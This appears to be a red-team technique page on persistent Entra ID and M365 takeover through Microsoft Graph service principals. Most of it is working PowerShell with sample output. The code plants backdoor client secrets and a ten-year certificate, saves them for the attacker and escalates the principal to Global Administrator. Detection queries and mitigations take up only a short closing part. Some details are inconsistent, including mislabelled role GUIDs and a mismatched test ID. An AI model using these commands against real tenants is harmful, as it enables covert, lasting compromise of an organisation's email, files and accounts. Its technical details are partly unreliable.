| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-032 |
| MITRE ATT&CK v18.1 | T1098.004 - Account Manipulation: Additional Cloud Credentials |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Entra ID, M365 (Exchange Online, SharePoint Online, Teams) |
| Severity | Critical |
| CVE | N/A (legitimate API feature, exploitable for persistence) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID and M365 tenants; no version dependency |
| Patched In | No patches available; mitigated via RBAC and monitoring (see Mitigations) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Graph API Backdoor Creation is a persistence technique where attackers establish headless (non-interactive) access to an Entra ID tenant by manipulating service principals (application registrations) and their credentials. Attackers add new client secrets or certificates to existing service principals—particularly those with high-privileged roles (Global Administrator, Cloud Administrator) or dangerous Graph permissions (RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All). These credentials allow the attacker to authenticate as the service principal via OAuth 2.0 client credentials flow, granting persistent access that survives password changes, MFA resets, and even full account deletion (the service principal remains). The attacker can then escalate privileges, create additional backdoor accounts, or directly manipulate directory objects.
Attack Surface: Service principals with excessive permissions, unchecked credential assignments, Global Administrator roles assigned to applications, vulnerable Graph permissions (AppRoleAssignment.ReadWrite.All, RoleManagement.ReadWrite.Directory, Domain.ReadWrite.All).
Business Impact: Persistent tenant-wide compromise. Attackers maintain permanent access to the organization’s cloud infrastructure, independent of user account status. They can create new admin accounts, reset existing admin credentials, access all M365 resources (email, files, meetings, chats), modify federation trust relationships, and deploy ransomware via Logic Apps or Azure Automation Runbooks.
Technical Context: Creating a backdoor takes 10-30 seconds (Add-MgServicePrincipalPassword API call). Detection likelihood is LOW if monitoring is not configured (service principal credential additions are not logged by default), MEDIUM if Entra ID audit logs are monitored, MEDIUM-HIGH if Graph activity logs are enabled.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.8 | Prevent service principal credential management by non-admins |
| DISA STIG | AU-2(b) | Enhanced auditing of service principal modifications |
| CISA SCuBA | Entra-SEC-14 | Service Principal Security and Credential Management |
| NIST 800-53 | IA-2, IA-4, AC-2(f) | Identification, authentication, and account management controls for service principals |
| GDPR | Art. 32 | Security of Processing – measures to protect API credentials |
| DORA | Art. 9 | Protection measures for API access control and credential management |
| NIS2 | Art. 21(1)(e) | Detection and incident response for unauthorized credential creation |
| ISO 27001 | A.9.2, A.9.4 | Access control and cryptographic key management for service principals |
| ISO 27005 | Service Principal Compromise Risk | Risk scenario: Service principal backdoors leading to tenant-wide compromise |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Identify service principals with excessive permissions and vulnerable role assignments.
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All", "RoleManagement.Read.Directory"
# Enumerate all service principals
Get-MgServicePrincipal -PageSize 999 | Select-Object DisplayName, Id, AppId, AccountEnabled | Head -20
# Find service principals with Global Administrator role
Get-MgServicePrincipal -PageSize 999 | ForEach-Object {
$roles = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $_.Id
if ($roles.PrincipalDisplayName -contains "Global Administrator" -or $roles.AppRoleId -contains "62e90394-69f5-4237-9190-012177145e10") {
Write-Host "[!] Service Principal with Global Admin: $($_.DisplayName)"
}
}
# Find service principals with dangerous Graph permissions
$dangerousPermissions = @(
"AppRoleAssignment.ReadWrite.All",
"RoleManagement.ReadWrite.Directory",
"Domain.ReadWrite.All",
"User.ReadWrite.All",
"Group.Create"
)
Get-MgServicePrincipal -PageSize 999 | ForEach-Object {
$sp = $_
$permissions = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id | Select-Object -ExpandProperty AppRoleId
if ($permissions -in $dangerousPermissions) {
Write-Host "[!] Dangerous permission found on $($sp.DisplayName): $permissions"
}
}
# List existing credentials for a target service principal
$targetSP = Get-MgServicePrincipal -Filter "displayName eq 'Corporate Finance Analytics'"
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $targetSP.Id | Select-Object DisplayName, Hint, EndDateTime
What to Look For:
Version Note: Microsoft Graph PowerShell SDK is consistent across all Windows/PowerShell versions.
Supported Versions: All Entra ID tenants; requires Application Administrator role or service principal ownership
Objective: Find a service principal that is already assigned high-privilege roles or dangerous permissions.
Command (All Versions):
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# Method 1: Find service principals by role assignment
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
$adminMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id
# Filter for service principals
$adminMembers | Where-Object { $_.Id -match "^[0-9a-f]{8}-[0-9a-f]{4}" } | ForEach-Object {
$sp = Get-MgServicePrincipal -ServicePrincipalId $_.Id
Write-Host "[!] Found service principal with Global Admin: $($sp.DisplayName)"
}
# Method 2: Find service principals with specific permissions
$graphSP = Get-MgServicePrincipal -Filter "displayName eq 'Microsoft Graph'"
$appRoleAssignments = Get-MgServicePrincipalAppRoleAssignmentByAppRoleId -ServicePrincipalId $graphSP.Id `
-AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
# List service principals with dangerous permissions
$targetSP = Get-MgServicePrincipal -Filter "displayName eq 'Finance Analytics Dashboard'"
Write-Host "[+] Target Service Principal: $($targetSP.DisplayName)"
Write-Host "[+] Service Principal ID: $($targetSP.Id)"
Expected Output:
[+] Target Service Principal: Finance Analytics Dashboard
[+] Service Principal ID: 12345678-1234-1234-1234-123456789012
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Create a new password credential that allows attacker to authenticate as the service principal.
Command (All Versions):
# Get target service principal
$targetSP = Get-MgServicePrincipal -Filter "displayName eq 'Finance Analytics Dashboard'"
# Create a new password credential (backdoor secret)
$passwordCredential = @{
DisplayName = "BackdoorSecret_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
EndDateTime = (Get-Date).AddYears(2) # 2-year validity; long persistence
}
$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id -PasswordCredential $passwordCredential
Write-Host "[+] Backdoor credential created!"
Write-Host "[+] Service Principal: $($targetSP.DisplayName)"
Write-Host "[+] Client ID: $($targetSP.AppId)"
Write-Host "[+] Client Secret: $($newSecret.SecretText)"
Write-Host "[+] Expires: $($newSecret.EndDateTime)"
# Save credentials for attacker use
$backendoorCreds = @{
ClientId = $targetSP.AppId
ClientSecret = $newSecret.SecretText
TenantId = (Get-MgContext).TenantId
}
# Output for attacker
$backendoorCreds | ConvertTo-Json | Out-File -Path "C:\temp\backdoor.json" -Force
Expected Output:
[+] Backdoor credential created!
[+] Service Principal: Finance Analytics Dashboard
[+] Client ID: 12345678-90ab-cdef-ghij-klmnopqrstuv
[+] Client Secret: aBcDeF.g~hIjKlMnOpQrStUvWxYz.AbCdEfGhIjKl
[+] Expires: 1/9/2027 10:35:00 AM
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Test the backdoor by authenticating as the service principal.
Command (PowerShell - All Versions):
# Use the backdoor credentials to authenticate
$clientId = "12345678-90ab-cdef-ghij-klmnopqrstuv"
$clientSecret = "aBcDeF.g~hIjKlMnOpQrStUvWxYz.AbCdEfGhIjKl"
$tenantId = (Get-MgContext).TenantId
# Disconnect from current context
Disconnect-MgGraph
# Authenticate as the service principal using backdoor credentials
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential -NoWelcome
# Verify successful authentication
$context = Get-MgContext
Write-Host "[+] Authenticated as: $($context.AppDisplayName)"
Write-Host "[+] Tenant: $($context.TenantId)"
Expected Output (Successful Authentication):
[+] Authenticated as: Finance Analytics Dashboard
[+] Tenant: 87654321-4321-4321-4321-210987654321
# Confirm attacker now has service principal's permissions
Get-MgUser | Measure-Object
# If no error, attacker has User.Read.All or better; attempt admin operations
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: All Entra ID tenants
Objective: Confirm the service principal has AppRoleAssignment.ReadWrite.All permission (allows self-escalation).
Command (All Versions):
# Authenticate as the backdoored service principal
$clientId = "12345678-90ab-cdef-ghij-klmnopqrstuv"
$clientSecret = "aBcDeF.g~hIjKlMnOpQrStUvWxYz.AbCdEfGhIjKl"
$tenantId = (Get-MgContext).TenantId
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
# Check current service principal's roles/permissions
$currentSP = Get-MgServicePrincipal -ServicePrincipalId (Get-MgContext).ServicePrincipalId
$currentRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $currentSP.Id
Write-Host "[*] Current service principal: $($currentSP.DisplayName)"
Write-Host "[*] Current permissions:"
$currentRoles | ForEach-Object {
Write-Host " - $($_.AppRoleId)"
}
# Check if AppRoleAssignment.ReadWrite.All is present
if ($currentRoles.AppRoleId -contains "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8") {
Write-Host "[+] AppRoleAssignment.ReadWrite.All is present! Self-escalation possible."
} else {
Write-Host "[-] AppRoleAssignment.ReadWrite.All not present. Cannot escalate."
}
Expected Output:
[*] Current service principal: Finance Analytics Dashboard
[*] Current permissions:
- 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 (AppRoleAssignment.ReadWrite.All)
- a82116e5-55eb-4c41-a853-6e0b688bc86f (Directory.Read.All)
[+] AppRoleAssignment.ReadWrite.All is present! Self-escalation possible.
What This Means:
OpSec & Evasion:
Troubleshooting:
az ad sp list --output table)References & Proofs:
Objective: Self-assign RoleManagement.ReadWrite.Directory to enable administrative control.
Command (All Versions):
# Authenticate as backdoored service principal
$clientId = "12345678-90ab-cdef-ghij-klmnopqrstuv"
$clientSecret = "aBcDeF.g~hIjKlMnOpQrStUvWxYz.AbCdEfGhIjKl"
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
# Get current service principal
$currentSP = Get-MgServicePrincipal -ServicePrincipalId (Get-MgContext).ServicePrincipalId
# Get Microsoft Graph service principal (where RoleManagement.ReadWrite.Directory permission lives)
$graphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
# Find RoleManagement.ReadWrite.Directory app role ID
$roleManagementRole = $graphSP.AppRoles | Where-Object { $_.Value -eq "RoleManagement.ReadWrite.Directory" }
$roleId = $roleManagementRole.Id
Write-Host "[*] Role ID for RoleManagement.ReadWrite.Directory: $roleId"
# Grant the role to the current service principal (self-escalation)
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $currentSP.Id `
-AppRoleId $roleId `
-PrincipalId $currentSP.Id `
-ResourceId $graphSP.Id
Write-Host "[+] Successfully escalated to RoleManagement.ReadWrite.Directory!"
Write-Host "[+] Service Principal can now assign Global Administrator role to itself or other accounts"
Expected Output:
[+] Successfully escalated to RoleManagement.ReadWrite.Directory!
[+] Service Principal can now assign Global Administrator role to itself or other accounts
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Grant Global Administrator role to the service principal (complete tenant compromise).
Command (All Versions):
# Get Global Administrator role ID
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
if (-not $globalAdminRole) {
# If not already activated, activate it
New-MgDirectoryRole -RoleTemplateId "62e90394-69f5-4237-9190-012177145e10"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
}
# Add service principal to Global Administrator role
$currentSP = Get-MgServicePrincipal -ServicePrincipalId (Get-MgContext).ServicePrincipalId
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentSP.Id
Write-Host "[+] Service Principal assigned to Global Administrator role!"
Write-Host "[+] Service Principal ID: $($currentSP.Id)"
Write-Host "[+] Service Principal: $($currentSP.DisplayName)"
# Verify escalation
$adminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
$adminMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $adminRole.Id
$adminMembers | Where-Object { $_.Id -eq $currentSP.Id } | ForEach-Object {
Write-Host "[+] Confirmed: Service Principal is now Global Administrator"
}
Expected Output:
[+] Service Principal assigned to Global Administrator role!
[+] Service Principal ID: 12345678-1234-1234-1234-123456789012
[+] Service Principal: Finance Analytics Dashboard
[+] Confirmed: Service Principal is now Global Administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: All Entra ID tenants
Objective: Create a certificate-based credential that persists longer than password secrets.
Command (PowerShell - All Versions):
# Generate a self-signed certificate (valid for 10 years)
$cert = New-SelfSignedCertificate `
-CertStoreLocation "cert:\CurrentUser\My" `
-Subject "CN=ServicePrincipalBackdoor" `
-KeySpec RSA `
-KeyLength 2048 `
-NotAfter (Get-Date).AddYears(10)
# Export certificate (public key only)
$certPath = "C:\temp\backdoor_cert.cer"
Export-Certificate -Cert $cert -FilePath $certPath -Force | Out-Null
# Export private key for attacker (PFX format)
$pfxPath = "C:\temp\backdoor_cert.pfx"
$pfxPassword = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath $pfxPath -Password $pfxPassword -Force | Out-Null
Write-Host "[+] Certificate created"
Write-Host "[+] Certificate thumbprint: $($cert.Thumbprint)"
Write-Host "[+] Public key: $certPath"
Write-Host "[+] Private key (for attacker): $pfxPath"
Expected Output:
[+] Certificate created
[+] Certificate thumbprint: 1234567890ABCDEF1234567890ABCDEF12345678
[+] Public key: C:\temp\backdoor_cert.cer
[+] Private key (for attacker): C:\temp\backdoor_cert.pfx
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Upload the certificate as a credential for the service principal.
Command (All Versions):
# Connect as original user (with Application Administrator role)
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Get target service principal
$targetSP = Get-MgServicePrincipal -Filter "displayName eq 'Finance Analytics Dashboard'"
# Read certificate public key
$certPath = "C:\temp\backdoor_cert.cer"
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($certPath)
$certValue = [System.Convert]::ToBase64String($cert.RawData)
# Create key credential object
$keyCredential = @{
Type = "AsymmetricX509Cert"
Usage = "Sign"
Key = $certValue
DisplayName = "ServiceBackdoorCert_$(Get-Date -Format 'yyyyMMdd')"
EndDateTime = $cert.NotAfter
}
# Add certificate to service principal
$result = New-MgServicePrincipalKeyCredential -ServicePrincipalId $targetSP.Id -KeyCredentials @($keyCredential)
Write-Host "[+] Certificate credential added to service principal"
Write-Host "[+] Certificate thumbprint: $($cert.Thumbprint)"
Write-Host "[+] Valid until: $($cert.NotAfter)"
Expected Output:
[+] Certificate credential added to service principal
[+] Certificate thumbprint: 1234567890ABCDEF1234567890ABCDEF12345678
[+] Valid until: 1/9/2035 5:00:00 PM
What This Means:
OpSec & Evasion:
Troubleshooting:
certutil -dump to verifyReferences & Proofs:
Objective: Verify the certificate-based backdoor works.
Command (PowerShell - All Versions):
# Load the PFX certificate
$pfxPath = "C:\temp\backdoor_cert.pfx"
$pfxPassword = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($pfxPath, $pfxPassword)
# Authenticate using certificate
$clientId = "12345678-90ab-cdef-ghij-klmnopqrstuv"
$tenantId = (Get-MgContext).TenantId
Connect-MgGraph -ClientId $clientId -TenantId $tenantId -Certificate $cert
# Verify successful authentication
$context = Get-MgContext
Write-Host "[+] Authenticated using certificate!"
Write-Host "[+] Service Principal: $($context.AppDisplayName)"
Write-Host "[+] Certificate expiration: $($cert.NotAfter)"
Expected Output:
[+] Authenticated using certificate!
[+] Service Principal: Finance Analytics Dashboard
[+] Certificate expiration: 1/9/2035 5:00:00 PM
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Atomic Red Team Test: T1098.001
Test Name: Create a Service Principal Backdoor
Commands:
# Invoke Atomic test
Invoke-AtomicTest T1098.004 -TestNumbers 1
# Manual equivalent (add password credential)
$sp = Get-MgServicePrincipal -Filter "displayName eq 'Test App'"
$cred = Add-MgServicePrincipalPassword -ServicePrincipalId $sp.Id `
-PasswordCredential @{ DisplayName = "BackdoorSecret"; EndDateTime = (Get-Date).AddYears(2) }
# Cleanup
Remove-MgServicePrincipalPassword -ServicePrincipalId $sp.Id -KeyId $cred.KeyId
Reference: Atomic Red Team T1098.004
Rule 1: Service Principal Credential Addition (Backdoor Detection)
KQL Query:
AuditLogs
| where OperationName == "Add service principal credentials"
| where Result == "success"
| project TimeGenerated, InitiatedByUser=InitiatedBy.user.userPrincipalName, TargetSP=TargetResources[0].displayName,
TargetSPId=TargetResources[0].id, CredentialType=AdditionalDetails[0].key,
CredentialDisplayName=AdditionalDetails[0].value, AADTenantId
| where TargetSP notcontains "System" // Exclude known system service principals
| summarize count() by TargetSP, InitiatedByUser, TimeGenerated
| where count_ >= 1
Manual Configuration (Azure Portal):
Service Principal Backdoor Credential AdditionCritical5 minutes1 day1. Restrict Service Principal Credential Management via RBAC
Applies To Versions: All Entra ID tenants
Manual Configuration (Azure Portal):
Limited App AdministratorUpdate service principal credentials2. Enable Entra ID Audit Logging for Service Principal Changes
Manual Configuration (Azure Portal):
Validation Command (PowerShell):
# Check if audit logging is enabled
Get-MgOrganization | Select-Object *, DirectorySize
# Query recent service principal credential additions
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Add service principal credentials'" -Top 10 |
Select-Object TimeGenerated, InitiatedBy, TargetResources
3. Implement Conditional Access to Block Service Principal Sign-In from Unusual Locations
Manual Configuration (Azure Portal):
Block Service Principal Sign-In from Unknown Locations| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into approving device code |
| 2 | Privilege Escalation | [REALWORLD-032] Graph API Backdoor | Attacker creates service principal backdoor with high permissions |
| 3 | Persistence | [T1078] Valid Accounts | Attacker maintains access via service principal |
| 4 | Lateral Movement | [T1550] Use Alternate Authentication | Attacker impersonates other users via service principal |
| 5 | Impact | [T1537] Data Transfer | Attacker exfiltrates organization data |